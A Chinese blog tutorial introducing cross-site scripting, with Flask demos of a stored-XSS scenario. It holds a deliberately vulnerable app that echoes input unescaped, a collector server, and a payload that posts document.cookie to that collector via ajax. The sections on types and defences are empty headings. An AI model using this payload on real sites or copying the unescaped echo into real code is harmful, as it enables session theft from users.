Web安全-XSS攻击 基本了解

2019-09-28  本文已影响0人  dawsonenjoy

介绍

XSS(Cascading Style Sheets, CSS)攻击,即跨站脚本攻击,是指通过将js代码(也不一定只有js代码,但基本都是)嵌入到网页当中,从而执行某些恶意脚本以达到盗取用户cookie、页面私密内容或者执行某些恶意操作等目的。

产生原因

由于浏览器会自动解析执行后端返回的代码,包括html、css、JavaScript等,因此如果将一串js代码由后端返回,那么会发生什么事?很显然这些代码将会被执行(如果没有禁用js的话),比如下面这串后端代码(为了简易模拟,本文的后端功能都由flask实现):

from flask import Flask, request, redirect
app = Flask(__name__)

@app.route('/')
def index():
    return "<script>alert(document.cookie)</script>"
    # 返回一段js代码

if __name__ == '__main__':
    app.run(debug=True, port=5000)

显而易见,当访问地址127.0.0.1:5000/时,页面会弹出cookie数据。

通过上面的代码示例,我们可以延伸出这样一种情况:当前台有一个输入框,比如留言板的留言输入,然后往这个留言板里写入js脚本代码并提交,后台如果没有对其进行校验就直接存入数据库,而当其他用户查看留言板的留言时,后台返回数据库中的留言,里面就包括这串js代码,那么用户就在查看留言板的同时,不经意间也执行了这串js代码,简单说明步骤就是:

留言板上传js代码 -> 后台将js代码存入数据库 ->用户查看留言板 -> 
后台返回查询的数据(包括js代码) -> 用户访问的前台执行js代码

再简化步骤就是:

上传js代码到后台 -> 后台返回js代码 -> 前台执行返回的js代码

这样就存在比如用户cookie会暴露之类的危险,接下来来个简单示例模拟上面的情况:

简单示例

受攻击的网站:x(本地端口:5000)
from flask import Flask, request, redirect
app = Flask(__name__)

g = None
# 全局变量

@app.route('/')
def index():
    '''这是一个表单页面'''
    html = """
    <form action="/set" method="get">
        <input type="text" name="name">
        <input type="submit">
    </form>"""
    return html

@app.route('/set')
def set():
    '''将数据存入数据库(这里用全局变量来模拟)'''
    global g
    data = request.args.get("name")
    g = data
    print("设置g的值为:{}".format(g))
    return redirect("/get")

@app.route('/get')
def get():
    '''获取数据库的数据(这里用全局变量来模拟),并返回到页面'''
    global g
    return g

if __name__ == '__main__':
    app.run(debug=True, port=5000)
接收泄露数据的网站:y(本地端口:6666)
from flask import Flask, request
app = Flask(__name__)

@app.route('/get')
def get():
    data = request.args.get("data")
    print("获取受攻击网站传来的数据:{}".format(data))
    return str({"status": 200})

if __name__ == '__main__':
    app.run(debug=True, port=6666)
模拟测试
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
    <script>
    $.ajax('http://127.0.0.1:6666/get', {
    type: 'get',
    data: {
        data: document.cookie
    }
});
    </script>

该脚本的功能就是导入jquery框架,然后通过ajax将本地用户的cookie发送到网站y中

XSS危害

XSS类型

XSS攻击的类型主要分为三种,介绍如下:

注:
前两种往往是后端服务器的问题,第三种是前端导致的问题

XSS防御

上面的示例就是一个简单的XSS攻击场景,为了防御这种攻击,应该怎么做呢?下面列出几种常见的防御方法:

上一篇 下一篇

猜你喜欢

热点阅读